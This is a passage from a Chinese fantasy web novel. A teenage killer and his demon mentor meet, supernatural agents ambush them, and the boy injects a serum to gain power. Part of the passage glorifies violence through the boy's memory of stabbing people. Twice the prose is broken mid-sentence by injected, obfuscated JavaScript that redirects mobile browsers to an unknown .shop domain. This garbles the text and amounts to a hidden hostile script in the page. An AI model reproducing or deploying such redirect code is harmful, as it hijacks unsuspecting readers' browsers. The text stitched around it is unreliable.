良久,冯汝成才终于有了动作,他握住了黄丽华的手,嘴唇蠕动,以几乎是嗡鸣般的声音说了一句:“那件事……千万别让小坤知道。” 黄丽华:“……嗯。” 她的脸上挣扎许久,愧疚和彷徨几度反复,最后还是答应了下来。仿佛要寻求什么安慰似的,她下意识偏开头,从丈夫手中抽出了手,抚了抚自己的小腹。 与此同时,冯坤冲进了自己的卧室,把门“砰”的一声摔了上来,随后从自己的床底下,拖出了一个小小的保险箱。 他输入密码力道像是要把保险门戳破,随着“咔哒”一声轻响,保险箱弹开,只见那里面放的既不是金银珠宝也不是存折,都只是一些不起眼的杂物,一个笔记本,几张胡涂乱抹的画什么的,还有一个古早型号的手机,居然还是翻盖的,市场上都不知已经淘汰多少年了。 冯坤一把抓起那个手机,拨通了一个电话,力气大得几乎要将按键戳破。 数十公里之外,珑湖郊区的一个废弃工业园,一只一模一样的古早手机响了起来,电话铃声“叮铃铃”地传荡不休。 一只手将电话接了起来。那只手机上挂了根红绳,上面绑了个小小的不规则碧玉坠子当做挂饰,在空中颤颤巍巍地摇摆着。那人接起电话的时候,那颗碧玉坠子就在他苍白的手腕边摇摇晃晃,轻轻敲着他的腕骨。 冯坤的声音从电话那一段传来,夹杂着一股难以言喻的暴怒:“我要见面!今晚就要!” “……” 风吹过荒草的丛生的工业园,发出一声呜呜咽咽的哀哭。 半晌,长发灰瞳的男人轻轻叹了口气。 “……好,我去找你。” 44.围猎 冯坤家住的珑湖市有名的富人小区,名叫“岚山名墅”,小区西侧就是一片山岭,即为岚山。这种布局在风水学上叫做“有靠山”,传言可以聚气聚财,为此房价一度炒得很高。小区内有独栋和联排别墅,也有几幢大高层,开发商非常精明地将房型全部打造成了二百平以上的大平层,专坑富人们的钱。 这一天晚上,小区内一幢高层住户的卧室阳台上,特意留了一扇窗。 夜半时分,一个人影突兀地出现在窗外。 他轻盈地有如一只飞鸟,或者一只蝴蝶,飘然落到了那扇窗户外面,两根手指捏着阳台窗户边沿那不足一指宽的凸起,就靠着这么一点力道,蜘蛛侠似的将自己“粘”在了窗外。仔细看这人的年龄居然已经不小了,看模样足有四十多岁,一头长发花白而蓬乱,用一根带子随意地束在了脑后,随着他侧身悬吊的姿势垂落了下来,嘴唇干枯开裂,鼻翼两侧有着两道明显的法令纹。 他穿着一件宽大破旧的灰色斗篷,像披了个硕大的雨披似的,已经洗到褪色发白了,再加上他那一副沧桑的样貌,让他看起来像个穷困潦倒的叫花子。 夜风浮动他的额发,露出了一双铁灰色的眼睛。那双眼睛像是看惯了世事变迁,已经不再灵动了,透着几分僵硬和木然。 他抬起那只空着的手,敲了敲封好的阳台窗户。 窗户打开了。 一身蓝色运动装的冯坤探出头来,小声叫道:“玉一叔。” 玉一看了看他的这副打扮:“要出去?” 冯坤点点头:“拉我一把。” 他开始爬窗。高层阳台的外侧都是封死的,通常只在左右两侧留一扇平开窗,能开启的角度很小,是为了通风换气。然而冯坤卧室的这扇窗户用的是推拉窗,可以整个儿打开,大小足够一个钻过一个八九岁大的小孩儿。 只是以冯坤这种少年人的体型,要钻过去还是有些费力的。他踩着一个垫脚的凳子,肩膀和半个胸口都钻了出来,剩下的身子却无处借力。玉一仍旧两根手指捏着阳台边缘,另一只手直接抱住他的腰,把他揽进了怀里,一个发力把他从窗户里拖了出来。 随即他脚尖一蹬墙壁,整个人翩然而起。 冯坤:“哈!” 他兴奋地大叫,两人在冰冷的夜风中急速旋转上升,头发在狂风中狂飞乱舞。冯坤松开了玉一,朝着夜空张开双臂,仿佛坐过山车似的发出痛快的尖叫:“啊啊啊啊啊啊啊——!!!” 玉一搂着他的腰,轻轻拍了他一下,道:“别张嘴。” “怕什么!”冯坤大笑道:“反正他们都听!不!见!” 玉一一拉冲锋衣的兜帽,把他的脑袋压了下来:“……会呛风。” 他们在夜空中急速飞过,宛如一束光芒黯淡的流星,飞快地远离了璀璨的万家灯火,落进了幽深的岚山森林中。 夜风静谧地拂过林梢,枝叶婆娑作响。 玉一找了块不大不小的林中空地,这里正处在一片小山坡上,林木比较稀疏,新生的嫩草却已经在三月春风中钻出了芽来。初春的土地还带着寒气,玉一解下了自己的斗篷铺在地上,两人都坐了下来。 这片小空地的位置委实不错,抬头可以看见满天星斗,远望就是山脚下璀璨绵延的都市华灯。坐在这里,有种天上人间尽皆远离的感觉,反倒生出一种别样的平静和悠然。 玉一和冯坤两人并肩而坐。玉一在怀里掏了掏,掏出了一份热气腾腾的关东煮,用纸杯装着,塑料袋把杯口扎得紧紧的,连点汤都没洒。他把关东煮塞到了冯坤手里,冯坤用竹签子挑起了一个鱼丸送进口中,烫得直弹牙。 他一边嚼着那个滚烫的鱼丸,一边含混不清地道:“叔,我今天被带到你说的那个异监局里去了。” 玉一点了点头:“嗯。” 他似乎话极少,而且不是像李默那种进退有度的少——这人像是语言系统没发育完全一样,甚至连面部表情都很少,脸上总是呈现出一种呆滞或木然的神色,眼神空茫地看着远方,找不到落点似的。 冯坤显然已经习惯他这种“没有回应的回应”了,自顾自地边吃边说:“我见到你说那个李默了,看起来确实很强,但没杀过人,是个软蛋。你不是说他的妖力被封印了吗?我觉得他不足为惧。” 玉一:“嗯。” “异监局那帮人就是一群废物,屁都没有查出来,就知道逮着我爹妈在那里一个劲儿地问。他们能知道什么?”冯坤露出鄙夷的神色,狠狠地咬断了一根香肠:“这俩货今天又给我丢人了。” 玉一:“嗯。” “我没见到你说的那个周纬……” 玉一的身体突然微不可察地动了一下。 然而冯坤并没有察觉到。他嗤笑了一声,接着说了下去:“……但我在他们局里的荣誉墙上看到了他的照片了。‘爱岗敬业之星’……真是可笑。我看这个所谓的监察队长也就那么回事儿,整个异监局从上到下就是一群草包,没什么可怕的。” 他转过脸来,认真地看着玉一:“叔,我想再杀一个人。” 这次玉一有反应了,他几乎是想也不想地就说:“不行。” 冯坤的脸色一沉。 他吃东西的动作停了下来,语气也冷了:“又是不行。这次是为什么?” 玉一道:“很危险,会被查到……” 冯坤截口打断他:“我不是刚刚说过,异监局根本没有怀疑到我身上吗?” 玉一:“……” 他像是根本应付不来这种冯坤这种咄咄逼人的语气,脸上瞬间流露出一丝慌张和茫然,然而很快又消失了,他开始试图用自己笨拙的表达方式,竭力说清楚自己的想法。 “你的手法,很粗糙。”玉一努力地表达着自己的意思:“留下的线索太多了,容易暴露自己,趁他们现在还没查到,不要再做了” 冯坤:“那你为什么不教我?” 玉一的话音陡然一滞。 冯坤脸上的神色缓缓淡去了。他那杯只吃了一半的关东煮放到了地上,转过脸来看着玉一。 他道:“你小时候明明答应过,会教我做一个杀手的。” 玉一:“我……” 这一次,他的眼神里出现了明显的惊慌和畏缩。 “是因为我到现在还没有觉醒灵力么?”冯坤声音低沉,目光缓缓垂了下去:“但是你明明也保证过,我一定会觉醒灵力的。” “我……我也不知道……”玉一挣扎着试图解释:“他们说和妖类在一起时间长了,一般都会觉醒灵力的……” “是啊……”冯坤轻声道:“你也说是在一起时间长了。玉一叔,从小到大,你陪过我多久?” 玉一面色惨白,指尖微微颤抖,望着他的眼神像是想要触碰,却又不敢。 “玉一叔……从小到大,你答应过我多少事?”冯坤的语气并不愤怒,与他在车上时暴躁地怒吼着质问父母时的神态相比,此时的他甚至堪称平静,只是眼神越来越低,语气越来越沉:“我一直在等……一直在等。” “最开始你答应我,将来会教我当一个杀手,让我好好学会应该怎么杀人。可是后来我问你什么时候才能教我,你却说当杀手太危险了,至少要等我觉醒灵力之后。” “于是我又开始等着灵力觉醒……可是等了一年又一年,我始终还是个普通人。有无数次我做梦梦见自己终于拥有了灵力,终于可以飞天遁地,跟在你身边,结果醒来却发现只是一场空……于是我去问你到底怎样才能觉醒灵力,你却说,只要跟你长时间待在一起就可以。” “于是我又开始盼着能见到你……每次见到你,我都比过年还高兴,恨不得每天每夜都跟你待在一起,盼着你带我去出任务,去杀人……可是你一年回来多少次?我一年能见到你几回?你常常一走就是大半年,回来却只待三五天……叔,如果要靠跟你一直待在一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138200|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才能觉醒灵力,那我要再等多久?是不是要等一辈子?” 他抬起眼睛:“我不想等了。” “小坤!”玉一嘴唇剧烈颤抖着,痛苦地叫了他一声。 “你……你不能……”他用几乎是哀求的眼神望着冯坤,抖着手去拉他的袖子,声音里几乎已经带了哭腔:“可是那个药……那个血清,我怕……” 冯坤袖子轻轻从他手里拽了出来:“可我不怕。” 玉一浑身剧烈地一颤。 “我不怕死,我也不怕杀人,我只怕追不上你,最后只能庸庸碌碌地过完这一辈子,像我爸妈一样。”冯坤直视着玉一的眼睛,眼神清澈平静:“叔,我有没有告诉过你,我一直记得你当初带我杀第一个人时的那种感觉?” 玉一的眼睛倏然睁大了。 “我一直都记得那种感觉。真好……我捅了他们一刀又一刀,刀子捅下去越来越顺滑,越来越流畅,血溅出来还是温热的。每一刀下去,那几个人都会尖叫,就像风铃一样,一碰就响……他们还会挣扎,像几条扑腾的死鱼,越挣扎血流得越多……” “我那时候太小了,力气不够,捅了他们几十刀人才死掉。”冯坤轻轻叹道:“但那是我这辈子杀人时,最快乐的一次。” “从那时起我就知道,”他直直地望向玉一的眼睛:“我戒不掉了。” 玉一泪落如雨。 “我一定要走这条路,不管你同不同意。”冯坤站了起来,起身时的带倒了那杯关东煮,温热的汤水和食物洒了一地,他没有去看:“叔,如今我已经有了成为灵力者的办法,不可能再回头了。就算是你要拦我,我也要尽力一试。” “但我不想再和你吵架了。”他平静地道:“如果你不想教我,那我就走自己来。总有一天,我也会追到你身边的。” 他的眼神始终没有离开玉一,身体却在一步步地后退,终于一转身,头也不回地朝山下跑去了。 玉一仓惶地站起身,朝他伸出手去,然而再一次的,他没能追上他。 小的时候,是他悄无声息地离开,小小的冯坤追也追不上,等也等不来,在独自一人的深夜里,也不知哭过多少次。 而到了现在,冯坤成了那个先一步转身离开的人……他又有什么资格再追呢? 内疚、自责和痛苦海潮般涌来,刹那间灭了顶。这个妖类孤身一人站在树下,肩膀嶙峋耸起,双手掩面,连他的哀哭都无人耳闻。 他就这样站在原地,也不知哭了多久,忽然间,鼻端突然传来了一阵细微的香味。 这香味好似突然惊醒了他似的,他猛然抬头,用袖子擦了擦眼睛,循着味道一看,是那杯吃了一半的关东煮。 曾经被他小心翼翼护在怀里的食物滚落到了一棵树下,一个咬了半口的燕饺滚出去老远,早就凉透了。 他愣愣地看着那杯关东煮,半晌,茫然地伸手,似乎是想去捡起来。 然而他手伸到一半,面色骤然一变,身形幻影般闪动了一下,倏忽远离了那棵树的范围,同时躬身弯腰,双手插入背后,像是握住了什么东西。 他从牙缝里挤出了几个字:“什么人?出来!” 人影应声而出,不是一人,是许多人。 周围所有的树影背后都有监察员涌出,数十名手持灵力枪的监察员迅速占领了空地周边所有区域,形成了一道圆形封锁线,手中灵力枪齐齐前指,黑洞洞的枪口对准了中间的玉一。 在众多监察员前面,调查组三人和李默的身形显现出来,面容严肃地望着他。 然而玉一察觉到的却不是这个气息。 那个气息久已不见,却令他刻骨铭心,一旦出现,他就绝不会认错,更不会遗忘。 他循着那气息抬头望去。 周纬的身影出现在一棵树下。 他面无表情地看着空地中央的妖类,缓缓开口: “好久不见……钦原。” 45.激战 半个小时前,岚山名墅附近的一条小巷里。 几辆作战车挤挤挨挨地停靠在小巷的阴影中,异监局的人马已经在此埋伏了大半夜。自周纬将冯汝成一家人放回,市局对于这一家人的监视就没有放松过,就在刚刚,抛出去的诱饵终于钓上了大鱼。 小区内的一盏路灯下,一个监控摄像头悄无声息地转头,转出了一个刁钻的角度,将黑洞洞的电子眼对准了冯坤家的楼层外墙,一个攀在阳台外侧的人形轮廓清晰地出现在指挥车的车载屏幕上。 众人的脸色一个比一个难看。 寂静半晌,季凌云转向指挥车深处,深吸一口气:“周队,我要向你道歉。” “你的判断是对的,这个人确实是本应该在十四年前受刑伏法的珑-12573号B级妖类钦原。”他肃然道:“他的逃脱是总部执监管的重大失误,我代表总部执行局罪案管理司向你正式道歉,并承诺……” 他话音一滞,因为看到周纬举起了一只苍白的手。 小巷里阴暗幽森,光线昏暗,车内更是几无亮光。周纬坐在车厢深处,整个人几乎被埋在了阴影里,从季凌云的角度看过去,只能看到他的一双眼睛幽森阴沉,中间一点瞳光却格外明亮,宛如亮着两簇幽暗的鬼火。 他简短道:“他们动了。” 与此同时,杨小钱的声音从前方传来:“他们离开冯坤家了。冯坤换了衣服和鞋子,我安在他身上的窃听和定位装置无法使用了。” 季凌云沉声:“调卫星。” 杨小钱闻令而动,手指在键盘上一阵眼花缭乱的操作之后,屏幕视角骤然变换,从摄像头平直的窥视视角变成了俯瞰视角。冯坤家小区及附近周边地形在地图上骤然放大,呈现出一个个不同颜色的色块,与此同时,距离地面数千公里之上的遥感卫星运行起来,将实时传输的定位信号传入杨小钱的电脑。 钦原和冯坤两个人的定位以两个红色小点的方式,清晰地呈现在地图上。 这就是周纬要跟季凌云借人的原因。钦原的本体是鸟类妖兽,飞行能力哪怕在化形之后也不会消失,而异监局这边的所有人,无论是人是妖,却都没有长着一双可以飞行的翅膀。如果不是借助季凌云的权限和杨小钱的技术,他们将没有任何办法对钦原和冯坤进行远程监控追踪,纯以人力监控的话,哪怕是李默,也不敢说就一定能追得上在空中来去自如的钦原。 人类科技在这时发挥了超自然力量难以媲美的作用,为了监控冯汝成一家,杨小钱早早地就调来了一架遥感卫星在珑湖上空待命,传输信号将冯坤家周边地区安全笼罩其中。只要冯坤两人不逃出这个范围,他们就将在高天之上的监控下无所遁形。 杨小钱:“老大,他们进入岚山了。” 季凌云点了点头,随即看向周纬,用眼神询问他是否开始行动。 既然已经确认了钦原的存在,那接下来要做的就是抓人了——这只钦原必须要活捉,因为要从他身上追查出他是如何从总部刑狱中逃脱的。另外那个名叫冯坤的少年也不能放过,虽然没有确凿证据,但他很有可能跟近期发生的两起惨案有关。 然而这毕竟是珑湖市局的案子,季凌云不好越俎代庖。他们这次行动出动了燕鹏飞的行动一组,主力队员还是珑湖市的监察员,自然也只能听从周纬调配。季凌云虽然在别的事情上又轴又犟,在公事上却始终是一板一眼的,哪怕是有心参与,也不会越权指挥,他这次是把自己当做周纬的一名马前卒来看待的。 然而周纬突然开口,却令他一愣。 “季组长,这次行动,请你来担任指挥。” 周纬的声音听起来比平时低沉很多,因为藏身在黑暗中,季凌云有些看不清他的表情:“燕鹏飞那边,我已经嘱咐了他们在外围布控,随时听从季组长的调遣,配合你行动。但钦原毕竟是B级妖类,普通监察员上阵可能会出现伤损,所以我想请求季组长,亲自上阵抓捕他。” “这倒是可以,不过……”季凌云的语气罕见地出现了一次迟疑。 然而周纬却已经猜到了他未出口的话:“我不会和钦原交手。” 季凌云一愣:“你不想亲手抓住他吗?” 他这句话说完,车厢内突然陷入了一片沉默。 良久,季凌云才看到周纬很慢很慢地摇了摇头。 他低声道:“李默会配合季组长你实施抓捕。” 坐在他身旁的李默点了点头。 他既然这么说了,季凌云也就不再迟疑,随即切入到通讯频道,下达了行动指令。 监察车缓缓行驶起来,一路开到了岚山脚下,随即车门拉开,监察员们迅速出动,训练有素的身影游鱼一样没入了黑暗中。 调查组三人也立刻跟上。很快,指挥车里只剩下了周纬和李默两人。 直到此刻,李默才松开了周纬的手——那只手苍白冰冷,不知不觉间,已经被冷汗浸透了。 周纬一路上都没有再说一个字。他的身体僵硬得宛如一块钢板,全身连一丝最细小的动作都消失了,仿佛有一根钢筋铁骨从头顶纵观脊椎,撑起了他整副身子,让他动不得、塌不得,活生生支起了一个铜浇铁铸的监察队长。 李默担忧地望着他:“周队……” 良久,他才听到了周纬沙哑艰涩的声音:“……你去吧,我会跟上的。” 李默确实得走了。季凌云他们正在飞速逼近钦原所在的方位,再不走就追不上了。他需要配合季凌云的行动,不能落后太多。 他犹豫了一下,最后只得拍了拍周纬的手,正欲起身,却突然感觉自己的手被周纬一把抓住了。 “李默……” 李默回头,就见周纬抬手紧攥着他的手,头颅却很深很深地低了下去,肩胛骨高高耸起,黑发垂落,他挡住了自己所有的表情。 李默只能听得到他沙哑粗粝的声音,仿佛一个把沙砾含在喉头,他的嗓音磨出了血气—— “如果我真的失控,要对钦原出手……” “如果我想……杀了他……” 他攥住李默手的力道如此之大,嶙峋指骨简直要戳穿皮肉,血淋淋地穿刺出来。 “……拜托你,阻止我。” * 几乎就在周纬开口的下一秒,凌冽剑光从天而降! 带领着行动一组冲上山来的燕鹏飞脚步猝然一顿—— 同为金属系灵力者,这一刹那,他突然意识到了什么叫做云渊之别。 季凌云一剑横空,空地上骤然一片雪亮。 他那柄长剑显然也是一件灵器,而且品阶必然不低,舞动之间不见寒光,反而带着一层淡淡的水色光泽,像是一股流动的金属,泛着金色微芒。然而从这柄长剑上,却感受不到任何灵力,反而只有一股锐气——一股无与伦比的锋锐之气! 他一剑刺出,竟有千百破军之势,身边人刹那间全被逼退!所有人的皮肤上都感受到了一阵针扎似的刺痛感! 一剑之威,恐怖如斯! 连玉一都被这势不可挡的一剑逼退。然而他毕竟也是个身经百战的妖类,身形飞速后退之时,双手猛然一甩,从背后骤然抽出两柄尺余长的紫黑色长刺,猛然在胸前交叉,“叮”的一声轻响,于千钧一发之际挡住了季凌云的剑芒! 一剑与双刺相抵,两人在破风声中呼啸后退! 就在此时,季凌云眼神一凝,低喝道:“破!” 一声落下,剑气骤然爆发!玉一的紫晶双刺竟然丝毫不能抵挡这一剑之威,刹那间在玉一手中爆裂开来!碎片四溅如雨! 只用一击,竟然就粉碎了玉一的武器! 这一刻,所有人都明白了异监局总部“明日之星”四个字的含金量。 然后下一秒,玉一骤然抬手握拳:“爆!” 他身边四散的紫晶碎片骤然爆炸! 此时玉一正飞身后退,季凌云长剑前指,整个人几乎完全被裹在了紫晶双刺爆炸的碎片中。此刻碎片骤然再次爆炸,顿时爆成了无数齑粉,在季凌云身边骤然形成了一阵紫黑色的毒雾粉尘,将他一口吞了进去! 这竟然是一招诱敌深入之计! 然而毒雾在前,季凌云竟然视若无物般,脚尖一点速度再提,不退反进! 燕鹏飞失声道:“季——” 然而他声音还未出口,在场所有人就突然感受到了一阵刺骨的含义。 场上温度骤然下降,周边树叶上刹那间凝结出了一层寒霜,细小的冰晶雪花在空气中分裂生长,竟然是直接长在那些毒雾粉尘上的,每一颗毒雾颗粒额都成了一片雪花的凝结核,被其严严实实地包裹了起来,眨眼间紫黑色的毒雾尘埃就变成了一片冰白色的细雪寒霜,冰雪裹着毒雾缓缓落地。 申彦雪站在战场一侧,身上灵力光芒涌动,双手横挥,所有裹挟着毒雾粉尘地冰雾瞬间被她收拢成一团,冻成了一坨结结实实的冰疙瘩。 这战斗意识和战场辅助能力委实令人叹为观止,两人的配合堪称千锤百炼、妙到毫巅,也不知经过了多少次实战演练才能练成。单凭刚才这一幕便能断定,总部派来的这两位外勤干员,绝不是什么水货。 说实话,玉一这种会飞又带毒的妖类想要活捉委实非常棘手,人数在这方面非但不是什么优势,反而会成为劣势。这也是为什么周纬嘱咐燕鹏飞只带着一组监察员在旁布控掠阵即可,如果众多监察员进入战圈,反而会对季凌云形成掣肘。 如今季凌云主攻,从正面逼退玉一,申彦雪辅助,用冰雾压制玉一的毒雾,场上局势顿时朝一边倾斜,逼得玉一立时只剩下了一条路可走。 他身形一顿,随即冲天而起,从空中突围! 然而就在他飞入半空的一瞬间,一声爆裂般的轰鸣骤然在所有人的耳边响起! 刹那间一声爆响,空地中央突然出现了一个蛛网状的大坑,紧接着一个身影冲天而起,如炮弹般直升入空中! 玉一的双眸骇然大睁,眼前突然出现了李默急速放大的身影! 李默不会飞,然而他借踏地之势一跃而起,高度竟然比玉一还高!刚刚那一声爆裂般的巨响,就是地面直接被他蹬踏出了一个大坑! 他后发而先至,直接在空中对上了玉一,语气平静道:“你不能走。” 说罢,一拳挥出! 玉一别无他法,仓促之间只能双臂交叉在胸前格挡,只听“砰”的一声巨响,他整个人直接被李默从半空砸了下来! 轰—— 疾风四散,周边林木齐齐倒伏,空地中央烟尘四起,刹那间出现了一个巨大的深坑。 玉一全身陷入地面,紧接着猛然翻身,蓦地喷出了一口淋漓的鲜血。 这口血中夹杂着明显的内脏碎片。鸟类妖兽在速度和飞行上是优势,然而论力量,却无论如何都不可能和李默这种兽类相提并论,更何况还有等级压制。玉一仓促之下骤然遭受李默一击,双臂齐齐骨裂,内脏遭受重击,这一下已是受伤不轻。若不是李默不想下杀手,这一击就足以要了他半条命。 李默从半空砰然落地,直起身来,居高临下地俯视着眼前重伤不起的钦原。玉一也擦了擦嘴角的血迹,抬起头来,冷冷地与他对视。 “妖类?”他低声道。 “监察员。”李默淡然回答。 “钦原,停止反抗。” 季凌云也走了过来,唰然一剑,直指玉一的咽喉,他严肃道:“你十四年前在珑湖市连杀七人,身负重案,本已伏法被捕,却又从总部逃脱。现在我代表总部执行局依法再次逮捕你,请你放弃抵抗,我们不会伤害你的性命。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144009|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这话说的中规中矩,有理有据,然而玉一的反应却有些出乎所有人的意料。 他面无表情地转向季凌云:“不要那么叫我,我有名字。” 季凌云一愣:“什么?” 确实,“钦原”是妖类的种族名,而不是一个正式的称呼。就像人不会对他人直呼为“人”,按照正常社交礼仪来讲,直接称呼妖类的种族名,其实是一种很不礼貌的行为。 然而大部分的妖类却都不太在乎这一点。因为但凡能够化形的妖类,同一时期一般都只会出现一只,哪怕直呼其种族名,也并不会产生叫错人的困扰。个别不太讲究的,甚至会直接会直接把种族名当成自己的正式姓名来使用,典型的就比如某白泽神兽。 而对于监察员来讲,妖类在异监局注册时用的是什么名字,之后对其的称呼基本就会固定为什么名字。十四年前钦原被捕时并没有报上自己的姓名 ,因此总部档案上对他的称呼始终是钦原,他当时也并没有提出异议。 那么现在这是什么意思?他现在有名字了? 然而还没等季凌云追问确认,就听见玉一又开了口。 他突然道:“那孩子为什么不出来见我?” 这话来的没头没脑的,季凌云一怔,一时间居然没有听懂;然而李默却仿佛突然想到了什么似的,脸色一沉。。 “十四年前,那个曾经亲手抓住我的孩子呢?”玉一梦呓一般地轻声道:“他当时那么小的一个,却敢拦在我逃走的路上,完全不知道什么叫害怕,疯了一样要让我给他的朋友们偿命……我知道他很恨我,想杀我……可是我没有死,我活下来了……” “可是我明明还活着,他却为什么不肯出现了?” “是他终于知道害怕我了,还是他不再恨我了?” “十四年过去了,他不再想杀我了么?” “这么多年,你终于逃离了那场噩梦了么?” “……周纬?” * 轰—— 一声巨响,冯坤猝然回头,夜幕下骤然扑啦啦惊起一片飞鸟。 巨响震颤整片山林,冯坤的心骤然一紧——这是战斗的声音! 玉一出事了! 他心头一颤,立马把自己刚刚才和玉一吵过架的事忘了个干净,掉头就要回去找玉一。 然而刚一转身,就见面前突然出现了两个身穿制服的监察员,冲着他一亮证件:“冯坤是吗?你涉嫌参与滨海北路杀人案和森川隧道杀人案,我局现依法对你进行逮捕,请你跟我们走。” 冯坤现在哪有心思搭理他们?当即就要冲出去,口中怒吼道:“滚开!” 然而他一个普通的十五岁少年,哪里是两名训练有素的监察员的对手?两人同时一侧身让开了他,一人脚下一绊,同时抬手擒住他的胳膊,一个擒拿就将他的右臂反剪在了身后,压着他的肩膀强迫他半跪在了地上 冯坤拼命挣扎着,怒吼道:“放开我!” “别动!”监察员警告道:“跟你在一起的那个妖类钦原很快也会被捉拿归案,不要妄想他会来救你。放弃挣扎和抵抗,异监局会考虑你的年龄和认罪表现,依法对你从轻判罚。” 冯坤:“什么?!” 他的挣扎之势骤然激烈起来,简直是大吼大叫,拼命踢打反抗,另一名监察员也不得不上来一起压制住他,厉声呵止道:“快住手!不然你只会弄伤你自己!” 也许是见实在反抗无效,也许是他这话起了效果,冯坤的挣扎之势突然减弱了,只见这少年像个能量耗尽的机器人一般,突然安静了下来,垂首半跪着,低声道:“……好,我跟你们走。” 两个监察员对视一眼,迟疑了一下,这才同时点了点头。 两人松开了手,其中一人将他拉了起来,往他肩膀上推了一把,道:“别想着逃跑,乖乖跟我们下山。” 冯坤依言抬脚往山下走,两名监察员跟在他的后面。按理说他们不应该放松警惕,然而一来冯坤只是个没有灵力的普通人,二来看上去根本就是个单薄瘦弱的孩子,刚刚站起时的脚步还有些踉跄,身体轻微发着抖,像是在害怕。 这样一个孩子能有多大威胁呢?似乎也不需要上什么束缚手段了。 他们跟在冯坤身后,缓步朝山下走着,并没有看到冯坤因充血而赤红的眼睛。 冯坤脚步很慢,身体还在微微打着哆嗦,像是激动抑或是害怕。他一边走,一边悄悄地摸进怀里,取出了一支注射器。 那是一支细细的金属针管,触手生凉,一取出表面就覆上了一层薄薄的寒霜。注射器通体金属外壳,只露出一线可以窥见里面的玻璃针筒,针管中封存着一丝殷红的液体,像一道细细的血线。 冯坤连半秒钟迟疑都没有,抬手猛然朝自己的颈侧扎了下去。 等到那两名监察员发现时为时已晚,真空注射器入体自动触发,将那针管里的红色液体一滴不剩地打进了冯坤体内! 刹那间,勃然气劲四面爆发,灭顶的重力威压从天而降! 身后的两名监察员对这突如其来的灵力攻击毫无准备,猝不及防之下根本调动不起任何防御手段,刹那间就被那暴虐的重力压垮在地。他们的骨骼和血肉刹那间都比平时重了几十上百倍,整个人都暴涨的重力缓慢地压进了地里,全身都发出了不堪重负的嘎吱声! "你们说——" 冯坤的模样此刻已经完全不像是个普通的人类少年了。他的身体凌空悬浮而起,紫黑色的经脉心脏处向四肢百骸蔓延,密密麻麻地爬上了他的脖颈和脸庞。他双目赤红黑发翻飞,周身灵力狂暴涌动,神情可怖宛如鬼神,发出了嘶哑低沉的怒吼: “你们要对我的玉一叔做什么?!” 他双掌骤然下压,暴虐的重力碾压再次降临! 46.相拥 轰—— 宛如灼阳天降,一个巨大的火球在密林中骤然爆发,直直地朝冯坤撞了过来。冯坤不得已双掌横推,地面上骤然升起一堵土墙,与那灼红色的火球遽然相撞,两者轰然爆散,灼红的碎石土块飞射如雨 与此同时,只听传来洛小莉一声怒吼:“滚开!” 她从天而降,直接落到了两位倒地不起的监察员身前,紧接着半声招呼不打,周身骤然闪现数十道烈焰长箭,呼啸着朝冯坤攒射而去! 这小实习生真的是性如烈火,但凡出手就毫无半分保留,字面意义上的火力全开。冯坤不得不再次闪身后退。他虽然获得了灵力,然而不管是对于灵力使用的熟练程度还是战斗意识,都完全无法和经过系统训练的监察员相提并论,刚刚能得手纯属占了偷袭的便宜。一旦正面交战,他顿时窘相大显,立马被洛小莉逼退。 洛小莉双手持枪将两名队友护在身后,马尾在灼红烈焰中飞扬乱舞,刚想再次逼上前去,却见冯坤猛地转身,身体骤然拔高,竟是毫不恋战,刹那间就已经消失在视野里。 “跑了?”洛小莉一愣,手一挥收回了自己的火焰。 她这时才顾得上查看身后的两名队友:“贺哥许哥你们没事吧?” “没事没事……”那两名监察员连忙摆手,心有余悸地对视一眼。刚刚洛小莉来得及时,冯坤那暴虐的重力威压没能完全降下,这才救了他俩小命。否则,在全无防御和保护的情况下肉身挨上冯坤这么一击,他俩非得像滨海仓库里的那三个人一样,被活生生压爆了不可。 只是他俩正职监察员,居然如此麻痹大意,还要被洛小莉一个小实习生救,两人脸上多少都有点赧然。这事儿要是回去被周纬知道了,非得挨一顿臭骂不可。 "小莉,这次多亏你了。"其中一名监察员满脸感激地道。 洛小莉不好意思地挠了挠额角,刚想说话,却见另外一名监察员脸色严肃道:“但是不对啊?刚刚我探查过,那孩子分明是个普通人,怎么会突然拥有灵力的?” 另外两人都倏然一愣。洛小莉突然道:“对了,我刚刚过来的时候正好看到了!他好像是往自己身体里打了什么东西!” 她猛然起来,在周边的碎石落叶里一通翻寻,随即眼前一亮:“找到了!” 只见在一棵树下,乱叶之中,静静地躺着刚刚被冯坤扔下的那支打空了的注射器。 她将那支注射器捡了起来,就见注射器的玻璃管内,仍然可见些许红色液体残留。 三人看了看那支空注射器,然后对视一眼,异口同声: “快告诉周队。” * 与此同时,岚山战场之上。 “你终于逃离那场噩梦了么……周纬?” 玉一的声音响起的刹那,周纬的身形骤然一晃,猛地扶住了身旁的树干。 他的指甲死死地抠进了树皮里。 “你不再恨我了么……” “你不再想杀死我了么……” “你终于,放弃报仇了么?” 玉一的声音宛如魔音一般,钻入了他的耳膜,钻进了他的识海,洪钟一般在他的脑内回响。刹那间仿佛有成百上千个玉一在他的脑内横冲直撞,成百上千个音调在他脑海里翻滚沸腾,汇集成山呼海啸的一句话—— “你放弃报仇了么?” 周纬骤然睁眼,双目血红。 然而就在此时,一个声音骤然响起:“你为什么想见他?” 周纬猛然抬头——出声的是李默。 